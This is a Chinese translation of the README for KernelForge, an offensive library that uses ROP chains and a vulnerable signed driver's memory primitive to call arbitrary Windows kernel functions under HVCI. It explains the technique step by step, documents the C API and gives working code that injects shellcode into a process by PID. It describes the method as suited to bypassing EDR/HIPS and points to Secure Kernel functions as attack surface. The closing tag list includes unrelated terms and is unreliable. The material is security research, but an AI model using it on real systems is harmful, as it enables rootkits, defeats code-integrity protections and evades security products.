Cr4sh/KernelForge

GitHub: Cr4sh/KernelForge

该库在启用了 HVCI 的 Windows 系统上,利用任意内存读写原语和 ROP 技术实现从用户态调用任意内核函数,解决了虚拟化安全环境下无法执行自定义内核代码的难题。

Stars: 491 | Forks: 89

# Windows Kernel Forge 库 [基本信息](#general-information) [目录](#contents) [工作原理](#how-does-it-work) [Kernel Forge API](#kernel-forge-api) [使用示例](#usage-example) [Secure Kernel 与 Kernel Forge 的接口交互](#interfacing-secure-kernel-with-kernel-forge) ## 基本信息 如今,越来越多的 Windows 机器默认启用了 VBS,这迫使 Rootkit 和内核漏洞开发者面临新的挑战。[Windows Virtualization-based Security (VBS)](https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs) 利用硬件虚拟化功能和 Hyper-V 来托管多种安全服务,为它们提供更强的保护以抵御操作系统中的漏洞,并防止恶意漏洞利用试图破坏保护机制。其中一项服务是 [Hypervisor-Enforced Code Integrity (HVCI)](https://docs.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity),它利用 VBS 显著加强了代码完整性策略的执行。 * **Q1:** 在启用了 HVCI 的目标机器上,即使拥有提供强大任意内存读写原语的最棒本地权限提升内核漏洞,我也无法再执行自己的内核代码了。 * **A1:** 你可以使用仅数据攻击(data only attack)来覆盖进程令牌(token),获取 Local System 权限,并加载任何合法的第三方 WHQL 签名驱动程序,该驱动程序提供对 I/O 端口、物理内存和 MSR 寄存器的访问。 * **Q2:** 但是,如果我想用任意参数调用任意内核函数怎么办? * **A2:** 这正是我制作 Kernel Forge 库的原因,它为此特定目的提供了便捷的 API。 Kernel Forge 由两个主要组件组成:第一个库实现了调用任意内核函数所需的主要功能,第二个库用于委托任意内存读写原语:它可以是本地权限提升漏洞,或者只是围绕第三方 WHQL 签名的 loldriver 的封装。在这个项目中,我使用了 `WinIo.sys` 的变体,它提供完整的物理内存访问,并且在启用 HVCI 的情况下也能正常工作: ## 目录 Kernel Forge 代码库由以下文件组成: * `kforge_driver/` − `WinIo.sys` 驱动程序封装的静态库,提供内存读/写 API。 * `kforge_library/` − 实现 Kernel Forge 主要功能的静态库。 * `kforge/` − Kernel Forge 库的 DLL 版本,用于使用 CFFI 与不同语言进行接口交互。 * `include/kforge_driver.h` − `kforge_driver.lib` 程序接口。 * `include/kforge_library.h` − `kforge_library.lib` 程序接口。 * `kforge_example/` − 一个示例程序,使用 `kforge_library.lib` API 执行经典的内核模式到用户模式的 DLL 注入攻击。 * `dll_inject_shellcode.cpp`/`dll_inject_shellcode.h` − `kforge_example.exe` 使用的 Shellcode,用于处理被注入的 DLL 镜像导入并执行其他操作。 * `dummy/` − 与 `kforge_example.exe` 配合使用的虚拟 DLL 项目,在将其注入某个进程后显示消息框。 ## 工作原理 Kernel Forge 背后的思想非常简单,没有任何创新的漏洞利用技术,只有安全研究人员已经熟知的常见内容,但以更方便的库形式提供,以便与第三方项目一起使用。 许多内核模式 Payload 可以被视为一系列函数调用,但由于 HVCI 的存在,我们在内核空间中不能有任何攻击者控制的可执行代码,因此 Kernel Forge 使用以下方法从用户模式执行此类内核函数调用: 1. 创建新的事件对象和一个新的虚拟线程,该线程在此事件上调用 `WaitForSingleObject()` 以将自身切换到等待状态。此时,虚拟线程调用堆栈如下所示: ``` Child-SP RetAddr Call Site fffff205`b0bfa660 fffff805`16265850 nt!KiSwapContext+0x76 fffff205`b0bfa7a0 fffff805`16264d7f nt!KiSwapThread+0x500 fffff205`b0bfa850 fffff805`16264623 nt!KiCommitThreadWait+0x14f fffff205`b0bfa8f0 fffff805`1662cae1 nt!KeWaitForSingleObject+0x233 fffff205`b0bfa9e0 fffff805`1662cb8a nt!ObWaitForSingleObject+0x91 fffff205`b0bfaa40 fffff805`164074b5 nt!NtWaitForSingleObject+0x6a fffff205`b0bfaa80 00007ffc`f882c6a4 nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ fffff205`b0bfaa80) 00000094`169ffce8 00007ffc`f630a34e ntdll!NtWaitForSingleObject+0x14 00000094`169ffcf0 00007ff6`66d72edd KERNELBASE!WaitForSingleObjectEx+0x8e 00000094`169ffd90 00000000`00000000 kforge_example!DummyThread+0xd ``` 2. 同时,主线程使用带有 `SystemHandleInformation` 信息类的 `NtQuerySystemInformation()` 原生 API 函数来查找虚拟线程 `_KTHREAD` 结构地址。 3. 使用任意内存读取原语获取 `_KTHREAD` 结构的 `StackBase` 和 `KernelStack` 字段,这些字段保存了虚拟线程内核栈位置的信息。 4. 使用任意内存读取原语从底部开始遍历虚拟线程内核栈,以定位从 `nt!NtWaitForSingleObject()` 返回到系统调用分发器 `nt!KiSystemServiceCopyEnd()` 函数的返回地址。 5. 然后 Kernel Forge 构造一些 ROP 链,以使用指定参数调用所需的内核函数,将其返回值保存到用户模式内存中,并将执行传递给 `nt!ZwTerminateThread()` 以便在 ROP 链执行后优雅地关闭虚拟线程。任意内存写入原语用于用第一个 ROP gadget 的地址覆盖先前定位的返回地址: 6. 最后,Kernel Forge 主线程将事件对象设置为信号状态,这将恢复虚拟线程并触发 ROP 链执行。 正如你所见,这是一种非常可靠的技术,不涉及任何魔法。当然,这种方法有大量明显的局限性: * 你不能使用 Kernel Forge 调用 `nt!KeStackAttachProcess()` 函数,该函数会更改当前进程地址空间。 * 你只能在 passive IRQL 级别执行调用。 * 你不能调用任何注册内核模式回调的函数,例如 `nt!IoSetCompletionRoutine()`、`nt!PsSetCreateProcessNotifyRoutine()` 等。 此外,`kforge_driver.lib` 依赖于仅提供物理内存访问的 `WinIo.sys` 驱动程序。要在此基础上实现虚拟内存访问,我们需要找到内核虚拟地址空间的 PML4 页表映射位置。目前我正在使用 `PROCESSOR_START_BLOCK` 结构扫描方法从其字段之一获取 PML4 地址。但是,在使用传统启动方式的机器上不存在 `PROCESSOR_START_BLOCK`,但这实际上并不是真正的问题,因为由于严格的要求,此类机器无法支持 HVCI。 然而,即使存在上述限制,你仍然可以为启用了 HVCI 的目标开发非常有用的内核模式 Payload。在图中你可以看到 `kforge_example.exe` 实用程序,它使用 `kfroge_library.lib` API 调用相应的内核函数,以将 DLL 注入到用户模式进程中,其 `KPROCESSOR_MODE` 值为 `KernelMode`,这可能适用于绕过 EDR/HIPS 安全产品: ## Kernel Forge API Kernel Forge 库提供以下 C API: ``` /** * Initialize Kernel Forge library: reads kernel image into the user mode memory, * finds needed ROP gadgets, etc, etc. * * @return TRUE if success or FALSE in case of error. */ BOOL KfInit(void); ``` ``` /** * Uninitialize Kernel Forge library when you don't need to use its API anymore. * * @return TRUE if success and FALSE in case of error. */ BOOL KfUninit(void); ``` ``` /** * Call kernel function by its name, it can be exported ntoskrnl.exe function * or not exported Zw function. * * @param lpszProcName Name of the function to call. * @param Args Array with its arguments. * @param dwArgsCount Number of the arguments. * @param pRetVal Pointer to the variable that receives return value of the function. * @return TRUE if success or FALSE in case of error. */ BOOL KfCall(char *lpszProcName, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal); ``` ``` /** * Call an arbitrary function by its kernel address. * * @param ProcAddr Address of the function to call. * @param Args Array with its arguments. * @param dwArgsCount Number of the arguments. * @param pRetVal Pointer to the variable that receives return value of the function. * @return TRUE if success or FALSE in case of error. */ BOOL KfCallAddr(PVOID ProcAddr, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal); ``` ``` /** * Get system call number by appropriate ntdll native API function name. * * @param lpszProcName Name of the function. * @param pdwRet Pointer to the variable that receives system call number. * @return TRUE if success or FALSE in case of error. */ BOOL KfGetSyscallNumber(char *lpszProcName, PDWORD pdwRet); ``` ``` /** * Get an actual kernel address of the function exported by ntoskrnl.exe image. * * @param lpszProcName Name of exported function. * @return Address of the function or NULL in case of error. */ PVOID KfGetKernelProcAddress(char *lpszProcName); ``` ``` /** * Get an actual kernel address of not exported Zw function of ntoskrnl.exe image * using signature based search. * * @param lpszProcName Name of Zw function to search for. * @return Address of the function or NULL in case of error. */ PVOID KfGetKernelZwProcAddress(char *lpszProcName); ``` ``` /** * Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate * specified amount of non paged kernel heap memory. * * @param Size Number of bytes to allocate. * @return Kernel address of allocated memory or NULL in case of error. */ PVOID KfHeapAlloc(SIZE_T Size); ``` ``` /** * Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate * specified amount of non paged kernel heap memory and copy specified data from * the user mode into the allocated memory. * * @param Size Number of bytes to allocate. * @param Data Data to copy into the allocated memory. * @return Kernel address of allocated memory or NULL in case of error. */ PVOID KfHeapAllocData(SIZE_T Size, PVOID Data); ``` ``` /** * Wrapper that uses KfCall() to execute nt!ExFreePool() function to free the memory * that was allocated by KfHeapAlloc() or KfHeapAllocData() functions. * * @param Addr Address of the memory to free. */ void KfHeapFree(PVOID Addr); ``` ``` /** * Wrapper that uses KfCall() to execute nt!memcpy() function to copy arbitrary data * between kernel mode and user mode or vice versa. * * @param Dst Address of the destination memory. * @param Src Address of the source memory. * @param Size Number of bytes to copy. * @return Destination memory address if success or NULL in case of error. */ PVOID KfMemCopy(PVOID Dst, PVOID Src, SIZE_T Size); ``` ``` /** * Wrapper that uses KfCall() to execute nt!memset() function to fill memory region * with specified character. * * @param Dst Address of the destination memory. * @param Val Character to fill. * @param Size Number of bytes to fill. * @return Destination memory address if success or NULL in case of error. */ PVOID KfMemSet(PVOID Dst, int Val, SIZE_T Size); ``` 要将 Kernel Forge 与你自己的 loldriver 或内核漏洞一起使用,你只需要实现一个自定义版本的 `kforge_driver.lib` 库,它具有相当简单的程序接口。 ## 使用示例 在这里你可以看到一段简化后的 C 代码,它使用 Kernel Forge API 通过 PID 将调用者指定的 Shellcode 注入到用户模式进程中: ``` BOOL ShellcodeInject(HANDLE ProcessId, PVOID Shellcode, SIZE_T ShellcodeSize) { BOOL bRet = FALSE; DWORD_PTR Status = 0; HANDLE hProcess = NULL, hThread = NULL; SIZE_T MemSize = ShellcodeSize; PVOID MemAddr = NULL; CLIENT_ID ClientId; OBJECT_ATTRIBUTES ObjAttr; InitializeObjectAttributes(&ObjAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); ClientId.UniqueProcess = ProcessId; ClientId.UniqueThread = NULL; // initialize Kernel Forge library if (!KfInit()) { goto _end; } PVOID Args_1[] = { KF_ARG(&hProcess), // ProcessHandle KF_ARG(PROCESS_ALL_ACCESS), // DesiredAccess KF_ARG(&ObjAttr), // ObjectAttributes KF_ARG(&ClientId) }; // ClientId // open the target process by its PID if (!KfCall("ZwOpenProcess", Args_1, 4, KF_RET(&Status))) { goto _end; } if (NT_ERROR(Status)) { goto _end; } PVOID Args_2[] = { KF_ARG(hProcess), // ProcessHandle KF_ARG(&MemAddr), // BaseAddress KF_ARG(0), // ZeroBits KF_ARG(&MemSize), // RegionSize KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect // allocate memory for the shellcode if (!KfCall("ZwAllocateVirtualMemory", Args_2, 6, KF_RET(&Status))) { goto _end; } if (NT_ERROR(Status)) { goto _end; } PVOID Args_3[] = { KF_ARG(hProcess), // ProcessHandle KF_ARG(MemAddr), // BaseAddress KF_ARG(Shellcode), // Buffer KF_ARG(ShellcodeSize), // NumberOfBytesToWrite KF_ARG(NULL) }; // NumberOfBytesWritten // copy shellcode data into the allocated memory if (!KfCall("ZwWriteVirtualMemory", Args_3, 5, KF_RET(&Status))) { goto _end; } if (NT_ERROR(Status)) { goto _end; } PVOID Args_4[] = { KF_ARG(hProcess), // ProcessHandle KF_ARG(NULL), // SecurityDescriptor KF_ARG(FALSE), // CreateSuspended KF_ARG(0), // StackZeroBits KF_ARG(NULL), // StackReserved KF_ARG(NULL), // StackCommit KF_ARG(MemAddr), // StartAddress KF_ARG(NULL), // StartParameter KF_ARG(&hThread), // ThreadHandle KF_ARG(&ClientId) }; // ClientId // create new thread to execute the shellcode if (!KfCall("RtlCreateUserThread", Args_4, 10, KF_RET(&Status))) { goto _end; } if (NT_SUCCESS(Status)) { // shellcode was successfully injected bRet = TRUE; } _end: // uninitialize Kernel Forge library KfUninit(); return bRet; } ``` 有关更完整的示例,请参阅 `kforge_example.exe` 的源代码。 ## Secure Kernel 与 Kernel Forge 的接口交互 在启用了 VBS/HVCI 的机器上,Hyper-V 功能被用于将系统在逻辑上划分为两个独立的“世界”:运行我们熟悉的常规 NT 内核的正常世界(VTL0)和运行 Secure Kernel (SK) 的隔离安全世界(VTL1)。要了解更多关于 VBS/HVCI 内部机制的信息,我推荐以下资料: * Hans Kristian Brendmo 的 [Windows 10 安全内核实时取证](https://www.semanticscholar.org/paper/Live-forensics-on-the-Windows-10-secure-kernel.-Brendmo/e275cc28c5c8e8e158c45e5e773d0fa3da01e118) * [The BSI](https://www.bsi.bund.de/EN/TheBSI/thebsi_node.html) 的 [工作包 6:虚拟安全模式](https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/SiSyPHus/Workpackage6_Virtual_Secure_Mode.pdf?__blob=publicationFile&v=2) * [Alex Ionescu](https://twitter.com/aionescu) 的 [SKM 与 IUM 之战:Windows 10 如何重写操作系统架构](https://www.youtube.com/watch?v=LqaWIn4y26E) * [Saar Amar](https://twitter.com/AmarSaar) 和 [Daniel King](https://twitter.com/long123king) 的 [通过攻击安全内核破解 VSM](https://i.blackhat.com/USA-20/Thursday/us-20-Amar-Breaking-VSM-By-Attacking-SecureKernal.pdf) 另外,也可以看看我的 Hyper-V 后门项目,它允许绕过 HCVI,在 VTL1 中加载自定义内核驱动程序,在隔离用户模式 (IUM) 中运行第三方 Trustlet 以及执行许多其他操作。 为了与 Secure Kernel 通信,ntoskrnl 使用特殊的 VTL0 到 VTL1 超级调用,这些调用记录在 [Hyper-V Hypervisor Top-Level Functional Specification](https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/reference/tlfs) 中,由 `nt!HvlSwitchToVsmVtl1()` 辅助函数执行。这个未导出的函数被许多其他未导出的 ntoskrnl 函数用于执行各种操作,其中大多数具有 `Vsl` 前缀: 这组 `Vsl` 函数为 VTL1 和 Secure Kernel 隔离环境的模糊测试和漏洞利用暴露了特别有趣的攻击面。使用 Kernel Forge,你可以从用户模式程序调用这些函数,而无需使用任何复杂且不便的解决方案,如我的 Hyper-V 后门或基于 QEMU 的调试器。要通过调用 NT 内核的 `Vsl` 函数与 Secure Kernel 交互,更适合使用 `kforge.dll` 配合 [ctypes library](https://docs.python.org/3/library/ctypes.html) 作为外部函数接口从 Python 代码调用,并使用 [pdbparse](https://github.com/moyix/pdbparse) 之类的工具从调试符号中提取未导出函数的地址。 ## TODO * 目前 Kernel Forge 不支持链式调用,即虚拟线程的单次执行只能执行一个用户指定的内核函数。然而,线程内核栈有足够的空闲空间来容纳更多的 ROP gadget,这可能允许将多个调用作为单个序列执行。此功能可用于调用各种设计为成对工作的内核函数(如 `KeStackAttachProcess`/`KeUnstackDetachProcess`、`KeRaiseIrql`/`KeLowerIrql` 等),并克服上述的一些限制。 ## 开发者 Dmytro Oleksiuk (aka Cr4sh) cr4sh0@gmail.com
http://blog.cr4.sh
[@d_olex](http://twitter.com/d_olex)
标签:C/C++, HVCI, Payload开发, Rootkit, UML, VBS, Web报告查看器, Windows内核, Zeek, 事务性I/O, 代码完整性, 内存读写, 内核开发, 协议分析, 安全机制绕过, 数据展示, 数据攻击, 权限提升, 白帽子, 红队, 虚拟化安全, 驱动程序